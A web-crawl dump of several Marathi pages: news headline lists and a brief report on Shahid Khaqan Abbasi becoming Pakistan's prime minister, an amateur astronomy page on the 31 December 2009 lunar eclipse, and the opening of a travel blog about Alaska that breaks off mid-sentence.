खऱ्या प्रेमाचं गुपित\n‘तुला पाहते रे’ या मालिकेतील विक्रम सरंजामेच्या भूमिकेतून सुबोधने चक्क २ वर्षांनी छोट्या पडद्यावर पदार्पण केलं आहे.\n...म्हणून सुबोध भावेनं पहिल्यांदा डोळ्यात लेन्स लावली\nVIDEO : 'अगडबम'ची नाजुका म्हणतेय 'अटक मटक'\nसुबोध भावेच्या आयुष्यात आणखी किती योगायोग\n'सविता दामोदर परांजपे'ची परदेशवारी\n'काशिनाथ घाणेकर' सिनेमात सुमित राघवननं पेललंय हे शिवधनुष्य\nमाझं आणि काशिनाथ घाणेकरांचं व्यक्तिमत्त्वं पूर्ण वेगळं - सुबोध भावे\nहा पहा सुबोध भावेचा 'काशिनाथ घाणेकर' लूक\nसुबोध भावे बायकोला का घाबरतो\nसुबोध भावेसोबत काम करणारी ही नवी अभिनेत्री आहे कोण\nज्येष्ठ अभिनेते मधुकर तोरडमलांची 'ही' अखेरची इच्छा जॉनने केली पूर्ण\nसुबोध भावेच्या 'सविता दामोदर परांजपे'चा फर्स्ट लूक पाहिलात का\nसुबोध भावेच्या 'पुष्पक विमान'चा टीझर तुम्ही पाहिलात का\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/whats-app/all/page-4/", "date_download": "2018-09-25T16:52:14Z", "digest": "sha1:EAWEBDNIW5C7Z673WNDB4MFJCLYNPD7L", "length": 10350, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Whats App- News18 Lokmat Official Website Page-4", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअोजस कुलकर्णी, कुर्ला, मुंबई\nबाप्पासाठी 350 वनस्पतींची माटोळी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "https://lokmat.news18.com/video/justice-pb-sawant-on-maya-kodnani-287932.html", "date_download": "2018-09-25T17:24:47Z", "digest": "sha1:RNZMO6AZ4PHMOYVAYE3MVJYZWIU44VVQ", "length": 15223, "nlines": 167, "source_domain": "lokmat.news18.com", "title": "'कोडणानींचा निकाल वेगळा लागला असता'", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'कोडणानींचा निकाल वेगळा लागला असता'\n'कोडणानींचा निकाल वेगळा लागला असता'\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nVIDEO : भिवंडीत गणेश मंडळाच्या कार्यकर्त्यांची तरुणाला घरात घुसून बेदम मारहाण\nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nVIDEO : लातूरमध्ये देशातील ड्रोन फार्मिंगचं पाहिलं प्रात्यक्षिक यशस्वी\nअशोक सराफ सांगतायत त्यांनी केलेली 'बनवाबनवी'\nVIDEO: लालबागच्या राजाच्या विसर्जनावेळी कोळ्यांची बोट उलटली\nVIDEO : 'बाप्पाला नेऊ नका', चिमुरडा ढसाढसा रडला\nVIDEO: गॅलेरीतून खाली डोकावताना 8 वर्षाच्या मुलीचा गेला तोल आणि...\nमहाराष्ट्र 2 days ago\nVIDEO : भाजप आमदाराच्या समर्थकांनीच लावला डीजे,तरुणांची तुफान मारामारी\nVIDEO : पुरात व्हॉल्वो बस गेली वाहून\nVIDEO : पुण्यात ज्ञानप्रबोधिनी शिक्षण संस्थेच्या कार्यकर्त्यांचा जल्लोष\nVIDEO : डीजे-डॉल्बीवरील बंदीमुळे ढोल-ताशा पथकांना लागली लॉटरी\nVIDEO : विश्वास नांगरे पाटलांनी डीजेविरोधात कारवाई करण्याचे दिले संकेत\nVIDEO : पुण्यात डीजेची मागणी, पण सरकारचा विरोध\nमहाराष्ट्र 3 days ago\nVIDEO: 'पवारांनी फसवाफसवी केली तर आम्ही बघून घेऊ', उदयनराजेंची थेट धमकी\nभाजपचा अंतर्गत वाद चव्हाट्यावर, महिला सभापतीलाच धमकावलं, VIDEO VIRAL\nमहाराष्ट्र 3 days ago\nVIDEO: मालेगावात कांदा घसरला, संतप्त शेतकरी रस्त्यावर\nVIRAL VIDEO : डब्बू अंकलनंतर आता 'मनोज अंकल' झाले व्हायरल\nVIDEO लग्नात पाकिट चोरल्याचं सांगितलं म्हणून अल्पवयीन मुलाने केला 7 वर्षाच्या मुलाचा खून\nVIDEO : काश्मीरमध्ये अतिरेक्यांची पोलिसांनाच दहशत, ३ पोलिसांची हत्या\nमहाराष्ट्र 4 days ago\nVIDEO: कोल्हापूरमध्ये बॉलिवूड स्टाईल दरोड्याचा प्रयत्न\nVIDEO : रडणं वाईट म्हणता... हे पाहा रडण्याचे फायदे\nस्पोर्टस 4 days ago\nVIDEO रोहित शर्माने उलगडलं पाकिस्तान विजयाचं रहस्य\nVIDEO : इम्रान खान यांनी पंतप्रधान मोदींना पत्र लिहून केली विनंती\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/videsh/shahid-khaqan-abbasi-elected-18th-prime-minister-of-pakistan-266419.html", "date_download": "2018-09-25T17:08:13Z", "digest": "sha1:DEBZWNICNZ23CVQX6CSMMCQDKVBMBVHH", "length": 12750, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "शाहीद अब्बासी पाकिस्तानचे नवे पंतप्रधान", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nशाहीद अब्बासी पाकिस्तानचे नवे पंतप्रधान\nपाकिस्तान मुस्लिम लीग-नवाज (PML-N) चे उमेदवार शाहीद खाकन अब्बासी यांची हंगामी पंतप्रधानपदी निवड झाली\n01 आॅगस्ट : पाकिस्तानला आज अखेर नवे पंतप्रधान मिऴाले. पाकिस्तान मुस्लिम लीग-नवाज (PML-N) चे उमेदवार शाहीद खाकन अब्बासी यांची हंगामी पंतप्रधानपदी निवड झाली. ते पाकचे 18 वे पंतप्रधान म्हणून निवडले गेले.\nपाकिस्तानच्या संसदेत आज पंतप्रधानपदासाठी निवडणूक घेण्यात आली. यात अब्बासी यांची हंगामी पंतप्रधान म्हणून घोषणा करण्यात आली. शाहीद खाकन अब्बासी हे येत्या 45 दिवस ते पंतप्रधानपदी राहणार आहेत. त्यांना 342 पैकी 221 मतं मिळाली. त्यांच्या विरोधात सईद नावीद कमार उभे होते. त्यांना 47 मतं मिळाली.\nनवाज शरीफ यांनी राजीनामा दिल्यावर पंतप्रधान कोण होणार याची उत्सुकता होती. पण आता माजी पंतप्रधान नवाज शरीफ यांच्या सरकारमध्ये पेट्रोलियम मंत्री असलेले अब्बासी हे पंतप्रधानपदी विराजमान होणार आहे. आता अब्बासी यांचं लष्कराशी कसं जमतं, ते पाहणं ठरणार आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://avakashvedh.com/nirikshane/chandragrahan_31dec2009.html", "date_download": "2018-09-25T16:48:10Z", "digest": "sha1:MXV6TPEKYONOC6KJGPY2AJXXM7QHI2I6", "length": 9677, "nlines": 135, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखंडग्रास चंद्रग्रहण - दिनांक ३१ डिसेंबर २००९\nठिकाण - मुंबई, महाराष्ट्र, भारत\nअक्षांश - १८.५८ उत्तर\nरेखांश - ७२.४९ पूर्व\nवातावरण - २५ % ढगाळ वातावरण\nनिरीक्षणाची वेळ - सायंकाळी ४.१३ ते ६.०४\n१) ४ इंची दुर्बिण\n२) २५ मी.मी. आयपिस (लेन्स)\n३) ओराईट वि.सी. ३०१०Z - ३.३ मेगा पिक्सेल डिजिटल कॅमेरा\nथोडक्यात माहिती - दिनांक ३१ डिसेंबर २००९ रोजी भारतामधून 'खंडग्रास चंद्रग्रहण' दिसले. साधारणपणे एका महिन्यामध्ये एक पौर्णिमा व एक आमावस्या येते पण काही काळानंतर एकाच महिन्यामध्ये दोन पौर्णिमा अथवा दोन आमावस्या येते. जर एखाद्या महिन्याच्या सुरुवातीलाच जर एखादी आमावस्या आल्यास त्याच महिन्यामध्ये दोन पौर्णिमा येण्याची शक्यता असते. यालाच इंग्रजीमध्ये 'ब्लू मून' असेही म्हणतात. प्रत्यक्ष्यात इथे 'निळा चंद्र' दिसत नाही. कारण ही फक्त एक म्हण आहे.\nडिसेंबर २००९ या महिन्यामध्ये डिसेंबर महिन्याच्या सुरुवातीलाच म्हणजे ३ तारखेला पौर्णिमा आल्याने ३१ डिसेंबरला देखिल पौर्णिमा आली. तसेच योगायोगाने या दुसर्‍या पौर्णिमेला खंडग्रास चंद्रग्रहण झाले.\nचंद्रावर पडलेल्या पृथ्वीच्या सावलीचा भाग\nहा निळा चंद्र (Blue Moon) नसून चांगल्या प्रकारे छायाचित्रे यावीत यासाठी निरनिराळ्या रंगाच्या छटा वापरुन कॅमेर्‍यामधून छायाचित्रे काढली जातात.\nटीप: दुर्बिणीने चित्रे उलटी दिसत असल्याने वरील छायाचित्रांतील ग्रहणाची स्थिती देखिल उलटी आहे.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2011/06/blog-post_06.html", "date_download": "2018-09-25T17:48:56Z", "digest": "sha1:MEVTTPLCDVXWQOM5J5BOI2J52CTCY26J", "length": 31020, "nlines": 71, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अलास्का - भाग २", "raw_content": "\nअलास्का - भाग २\nअलास्काला पोहोचलो तेव्हा रात्र झाली होती. फिनिक्स-अ‍ॅन्करेज थेट विमान असले तरीही आमचे विमान सॅन फ्रान्सिस्को, सिअ‍ॅटल, अ‍ॅन्करेज असे होते. त्यामुळे तीन तास पुढे असुनही अ‍ॅन्करेजला पोहोचेपर्यंत आम्हाला रात्रीचे ११:३० वाजले. अमेरिकेत कुठेही गेले तर सर्व गोष्टी उपलब्ध असतात. परंतु अ‍ॅन्करेजला पाहिले तर चांगली होटेल्स कमी आहेत. शेरटन मिळाले आणि आम्हाला तेच हवे होते. परंतु बाकी ब्रॅण्ड्स दिसली नाहीत विशेष. शेरटन चांगले होते. आम्हाला क्लब फ्लोअर मिळाल्यामुळे नाश्ता आणि संध्याकाळच्या स्नॅक्सची सोय चांगली झाली. तिथे एक अल्बेनिआचा माणुस आमचा शेफ/वेटर होता. त्याने पाच दिवस चांगली सेवा दिली. त्याला मदर टेरेसा अल्बेनिआची होती असे म्हटले तर तो भयंकर खुश झाला. एकंदरीतच जुन्या सोव्हिएट युनिअनमधल्या कोणत्याही माणसाशी काहीही बोलायला गेले तर ते एकदम जिव्हाळ्याने बोलतात. परवा कोलम्बसला मेरिअट्ची शटल बस विमानतळावर मागवली तर ड्रायव्हर आर्मेनिआचा होता. त्याला विचारयचा अवकाश की आर्मेनिआ म्हणजे अझरबैजानच्या शेजारी का तर स्वारी एकदम सुरुच झाली. असेच असते .. दुसऱ्या लोकांमध्ये आपल्याला उत्सुकता असेल तर संभाषण सहसा लगेच साधले जाते. तर हा अ‍ॅन्करेजचा अब्लेनिअन वेटर ... तो ख्रिश्चन आणि त्याची बायको मुस्लिम होती. ते दोघे अमेरिकेत पळुन आले - अस्थिरता आणि वांशिक दंगलींना कंटाळुन. त्यांचा मुलगा आता अमेरिकेन मिलिटरी मध्ये नोकरी करत आहे. या माणसाला राज कपूर ची गाणी आठवत होती. मी त्याला मौसम बीता जाये चा संदर्भ दिला.या गाण्याची चाल एका रशिअन क्रांती गीतावर आधारीत आहे. तो अतिशय आनंदला. राज कपूर वर असलेला समाजवादाचा प्रभाव अगदी जाणवतो. कोणीतरी म्हटले आहे की माणुस तारुण्यात समाजवादी आणि मोठेपणी भांडवलवादी असावा.\nअसो .. दुसऱ्या दिवशी उठलो थोडे निवांतच. पुढचे पाच दिवस अ‍ॅन्करेज मध्येच मुक्काम ठोकुन आसपासची ठिकाणे न्याहाळण्याचा बेत होता. पहिल्या दिवशी हॅचर पास आणि माटानुस्का ग्लेशिअर पहायला बाहेर पडलो. हॅचर पास हे साधारण ३५०० फुट उंचीवरचे टालकिट्ना माऊण्टेन्स मधली सर्वात उंच खिंड आहे. माटानुस्का ग्लेशिअर अलास्कामधील रस्त्यावरुन दिसणारे एकमेव (अल्मोस्ट) ग्लेशिअर आहे. इतर सर्व ग्लेशिअर्स बहुधा समुद्रात जाऊन क्रुझने पहावी लागतात. हॅचरपासला जाणारा रस्ता नक्कीच सुंदर होता. परंतु ढग आले आणि पाऊस पडु लागल्यामुळे आम्ही वर उंचीवर पोहोचलो तेव्हा खालाचे दृश्य काही दिसले नाही. वाटेत परतीच्या प्रवासामध्ये इन्डेपेन्डेन्स माईन म्हणुन एक खाण होती. अलास्कामध्ये सुरुवातिपसूनच खाण-उद्योग जोरात आहे. सोन्याच्या शोधात आलेल्या लोकांनी खाजगी खाणी सुरु केल्या तशी ही खाण असावी. परंतु आम्हाला ग्लेशिअर बघण्यात जास्त रस होता त्यामुळे मोहरा आम्ही माटानुस्का ग्लेशिअर कडे वळवला. अ‍ॅन्करेजच्या उत्तर-पुर्वेला शंभर एक मैलावर हे ग्लेशिअर आहे. जाताना डोंगर रांगा उंच उंच होत जातात. आपणही त्यांसोबत वर वर जात असतो. आम्ही मावळी मंडळी.. आमची भव्यतेची कल्पना रायगड राजगड अशी. परंतु अलास्का (आणि अगदी कोलोरॅडोमध्येसुद्धा) पर्वत म्हणजे १०,००० फुटांचे सहज आहेत. सिंहगड, राजगड, रायगड तुलनेने २-३-४ फुटाहुन अधिक नाहीत. अर्थात हिमालय मात्र किसिसे कम नहीं. जगातील टॉप टेन मधील सर्व शिखरे हिमालयात आहेत (पाकिस्तान्यांना काराकोरम ही वेगळी पर्वत रांग वाटते). ती वगळली तर जगातील सर्वोच्च दहापैकी ८ तरी शिखरे हिमालयात आहेत. पायथाच मुळी १४-१५००० हजार फुट असावा. परंतु हिमालयाचे अगदी दुरुन दर्शन घेतले आहे. त्यामानाने कोलोरॅडो आणि अलास्का अगदी जवळुन बघितले आणि पर्वतांची उंचच उंच शिखरे पाहुन मन नम्र व्ह्यायला होते. हवाई आणि अलास्का दोन्ही अप्रतिम जागा आहेत. परंतु अगदी वेगळ्या. हवाईचे 